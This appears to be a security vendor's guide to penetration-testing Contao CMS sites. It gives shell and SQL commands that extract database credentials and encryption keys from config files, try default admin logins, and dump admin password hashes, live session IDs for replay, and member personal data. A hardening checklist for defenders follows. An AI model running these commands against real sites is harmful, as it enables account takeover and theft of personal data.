CMS Security Testing

Contao CMS Security Testing: Default Credentials, API Key, Database, and CMS

📅 July 3, 2026 ⏱ 11 min read 🏷 Contao CMS, PHP CMS, localconfig.php, MySQL, install tool, tl_user, bcrypt, SHA-512, admin=1, tl_session, tl_member, files/ manager, DACH CMS Security

Contao is a widely used PHP CMS especially popular in German-speaking markets (DACH region) for government, corporate, and institutional websites. Key assessment areas: system/config/localconfig.php exposes MySQL credentials ($dbPass); the install tool at /contao/install provides full database reconfiguration; tl_user stores admin accounts with bcrypt (Contao 4.8+) or SHA-512+salt hashes; tl_session holds active session IDs enabling replay attacks; and tl_member stores frontend member accounts with PII. This guide covers systematic Contao CMS security assessment.

localconfig.php MySQL Credential and Install Tool Assessment
Admin Panel and File Manager Assessment
MySQL tl_user Hash and tl_session Token Extraction
Contao Security Hardening

localconfig.php MySQL Credential and Install Tool Assessment

# Contao CMS — localconfig.php MySQL credential extraction and install tool
CONTAO_URL="https://site.example.com"

# Contao 3.x: system/config/localconfig.php
python3 -c "
import re
content = open('/var/www/contao/system/config/localconfig.php').read()
for var in ['dbUser', 'dbPass', 'dbDatabase', 'dbHost', 'dbPort', 'encryptionKey']:
    m = re.search(f\"\\\\\\$GLOBALS\\['TL_CONFIG'\\]\\['{var}'\\]\s*=\s*'([^']+)'\", content)
    if m: print(f'{var}: {m.group(1)[:60]}')
" 2>/dev/null
# \$GLOBALS['TL_CONFIG']['dbPass'] = 'mysql-password';   <-- MySQL password (CRITICAL)
# \$GLOBALS['TL_CONFIG']['encryptionKey'] = 'hex-key';   <-- Data encryption key

# Contao 4.x+ uses .env
cat /var/www/contao/.env 2>/dev/null | \
  grep -E "DATABASE_URL|APP_SECRET|MAILER_"
# DATABASE_URL=mysql://contao:password@localhost/contao

# Check localconfig web access (must return 403)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${CONTAO_URL}/system/config/localconfig.php" 2>/dev/null)
echo "/system/config/localconfig.php: HTTP ${STATUS}"

# Contao Install Tool at /contao/install (protected by install tool password)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${CONTAO_URL}/contao/install" 2>/dev/null)
echo "/contao/install: HTTP ${STATUS}"

# Test admin credentials at /contao/login (Contao 4.x)
for CRED in "admin:admin" "admin@example.com:password"; do
  EMAIL=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "${CONTAO_URL}/contao/login_check" \
    -d "_username=${EMAIL}&_password=${PASS}" \
    -c /tmp/contao_c -b /tmp/contao_c -L 2>/dev/null)
  echo "${EMAIL}/${PASS}: HTTP ${STATUS}"
done

Admin Panel and File Manager Assessment

# Contao admin panel — file manager and extension assessment
CONTAO_URL="https://site.example.com"

# Contao admin at /contao (Contao 4.x+) or /typolight (very old)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${CONTAO_URL}/contao" 2>/dev/null)
echo "/contao: HTTP ${STATUS}"

# Contao File Manager (/contao?do=files)
# Admin access required; uploads to files/ directory (web-accessible)
# File type restriction: configured in System → Settings → Allowed file types
# Test PHP execution in files/ directory
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${CONTAO_URL}/files/test.php" 2>/dev/null)
echo "/files/test.php: HTTP ${STATUS}"

# Contao Extension Repository — install PHP extensions via admin
# Admin session required
ADMIN_SESS="extracted-contao-session"
curl -s "${CONTAO_URL}/contao?do=repository_manager" \
  -b "PHP_SESSION_ID=${ADMIN_SESS}" 2>/dev/null | head -5

# Contao version disclosure
curl -s "${CONTAO_URL}/contao" 2>/dev/null | \
  grep -oP 'Contao[\s/]*\K[\d.]+' | head -1
# Also visible in composer.lock or vendor/contao/core-bundle/composer.json
cat /var/www/contao/vendor/contao/core-bundle/composer.json 2>/dev/null | \
  python3 -c "import json,sys; d=json.load(sys.stdin); print('version:', d.get('version'))"

MySQL tl_user Hash and tl_session Token Extraction

# Contao CMS MySQL database — tl_user hash and tl_session token extraction
DB_PASS="extracted-db-password"

mysql -u contao -p"${DB_PASS}" contao 2>/dev/null << 'EOF'
-- tl_user — Contao backend (admin) user accounts
SELECT u.id, u.name, u.username, u.email, u.password,
       u.admin,          -- 1 = super-admin (full backend access)
       u.groups,         -- JSON array of group IDs
       u.lastLogin, u.currentLogin,
       u.loginAttempts,  -- failed login counter
       u.locked,
       u.disable
FROM tl_user u
WHERE u.disable = ''
ORDER BY u.admin DESC, u.id;
-- password: bcrypt ($2y$10$...) in Contao 4.8+
-- SHA-512+salt in older Contao (128-char hex)
-- admin=1: unrestricted backend access including extension installation

-- tl_session — active backend sessions
SELECT s.sessionID, s.pid, s.tstamp,
       s.ip, s.ua,
       u.username, u.admin
FROM tl_session s
JOIN tl_user u ON u.id = s.pid
WHERE s.tstamp > UNIX_TIMESTAMP(NOW() - INTERVAL 1 HOUR)
ORDER BY s.tstamp DESC;
-- sessionID: PHP session ID — set as PHP_SESSION_ID cookie for admin panel replay

-- tl_member — frontend member accounts (website users)
SELECT m.id, m.username, m.email, m.password,
       m.firstname, m.lastname, m.phone, m.mobile,
       m.street, m.city, m.postal, m.country,
       m.company, m.dateAdded, m.lastLogin
FROM tl_member m
WHERE m.disable = '' AND m.login = 1
ORDER BY m.id
LIMIT 20;
-- All frontend member accounts including PII and bcrypt password hashes
-- loginAttempts and locked fields — may reveal security event patterns

-- tl_log — Contao system log (may contain credential data)
SELECT l.id, l.tstamp, l.source, l.action, l.text
FROM tl_log l
WHERE l.text LIKE '%password%' OR l.text LIKE '%login%'
ORDER BY l.tstamp DESC
LIMIT 20;
EOF

Contao Security Hardening

Contao Security Hardening Checklist:

Move system/ directory outside the web root for Contao 3.x installations — Contao 3.x places the system/config/localconfig.php configuration file, which contains MySQL credentials ($dbPass, $dbUser, $dbDatabase) and the encryptionKey used for data encryption, inside the web root; while Contao includes .htaccess rules to protect /system/, these can be bypassed by web server misconfigurations; Contao 4.x addresses this by using Symfony's public/ directory as the document root, placing configuration in .env outside the web root; if running Contao 3.x, migrate to Contao 4.x LTS (4.13) or 5.x for this architectural improvement; verify /system/config/ returns HTTP 403; the encryptionKey in localconfig.php or APP_SECRET in .env is the master signing key — rotate after any config exposure
Secure the Contao install tool at /contao/install — Contao's install tool provides full database configuration management, database migration execution, and admin user creation; it is protected by a separate install tool password (stored as a bcrypt hash in localconfig.php or .env); the default install tool password is not set — the first access prompts for creation; if the install tool is left accessible without a strong password, an unauthenticated attacker can access it; restrict /contao/install access to trusted IP ranges at the web server level; the install tool password is separate from any backend user password — configure it strongly and document it securely; in production environments where migrations are handled by CI/CD, consider blocking /contao/install entirely via web server deny rules
Upgrade to Contao 4.13 LTS or 5.x for bcrypt password hashing — Contao versions prior to 4.8 used SHA-512 (or older SHA-1) with a salt for tl_user and tl_member password hashing; SHA-512 is very fast on GPU hardware and vulnerable to offline cracking despite salting; Contao 4.8+ switched to bcrypt (PASSWORD_DEFAULT via PHP's password_hash()) which is computationally expensive and resistant to GPU acceleration; upgrade and trigger a password reset to migrate legacy SHA-512 hashes; in tl_user, SHA-512 hashes are 128-character hex strings while bcrypt hashes begin with $2y$; admin=1 backend users are the highest-value targets — enforce strong passwords and consider two-factor authentication via the Contao 2FA bundle
Monitor tl_session for active sessions and implement short timeouts — Contao stores PHP session data mapped in the tl_session table with the sessionID used as the session cookie; any attacker with database access can extract active session IDs and replay them for immediate admin backend access without credentials; the sessionID in tl_session corresponds to the PHP session ID cookie (PHPSESSID or configured session name); configure short backend session timeouts in Contao backend settings; Contao 4.13+ supports two-factor authentication for backend users via the scheb/two-factor-bundle — enable it for all admin=1 accounts; monitor tl_session for sessions from unusual IP addresses by joining on tl_user.admin=1
Restrict file upload types and block PHP execution in files/ — Contao's file manager allows backend users to upload files to the files/ directory, which is web-accessible; Contao restricts allowed file types via System → Settings → Files and images → Allowed download file types; ensure .php, .php5, .phtml, .shtml, .cgi, and similar executable extensions are not in the allowed types list; add web server-level PHP execution denial for the /files/ directory as defense-in-depth — even if Contao's own restriction is bypassed; Contao 4.x uses the /web/files/ or /public/files/ path as the file system root; verify PHP execution is blocked regardless of extension; also audit files/ for sensitive documents that may have been uploaded and are publicly accessible without authentication

Security Test	Method	Risk
system/config/localconfig.php MySQL $dbPass and encryptionKey extraction	Read localconfig.php — $dbPass + encryptionKey; full database access to tl_user hashes and tl_session active tokens; encrypted field decryption	Critical
Contao install tool /contao/install accessibility with default password	GET /contao/install — if accessible, full database reconfiguration and admin user creation without existing credentials	Critical
tl_session active PHP session ID extraction for backend replay	MySQL SELECT sessionID FROM tl_session JOIN tl_user WHERE admin=1 — set as session cookie for instant admin panel access without password	High
tl_user SHA-512 or bcrypt hash extraction with admin=1 identification	MySQL SELECT password FROM tl_user WHERE admin=1 — SHA-512 (128-char hex) in Contao <4.8 cracks quickly on GPU; bcrypt ($2y$) in 4.8+	High
tl_member frontend member PII and password hash extraction	MySQL SELECT email, firstname, lastname, phone, password FROM tl_member — all website member accounts with PII and password hashes	High

Automate Contao Security Testing

Ironimo tests Contao deployments for system/config/localconfig.php MySQL $dbPass and encryptionKey web and filesystem extraction, Contao install tool /contao/install accessibility and default password testing, admin credential brute-force at /contao/login_check, tl_user SHA-512 or bcrypt hash extraction with admin=1 superadmin identification, tl_session active PHP session ID enumeration enabling backend replay without password, tl_member frontend user PII and credential extraction, files/ directory PHP execution verification, /system/config/ web accessibility check, Contao extension inventory for CVE detection, and Contao version disclosure via composer.json for security advisory targeting.

Start free scan

Table of Contents

localconfig.php MySQL Credential and Install Tool Assessment

Admin Panel and File Manager Assessment

MySQL tl_user Hash and tl_session Token Extraction

Contao Security Hardening

Automate Contao Security Testing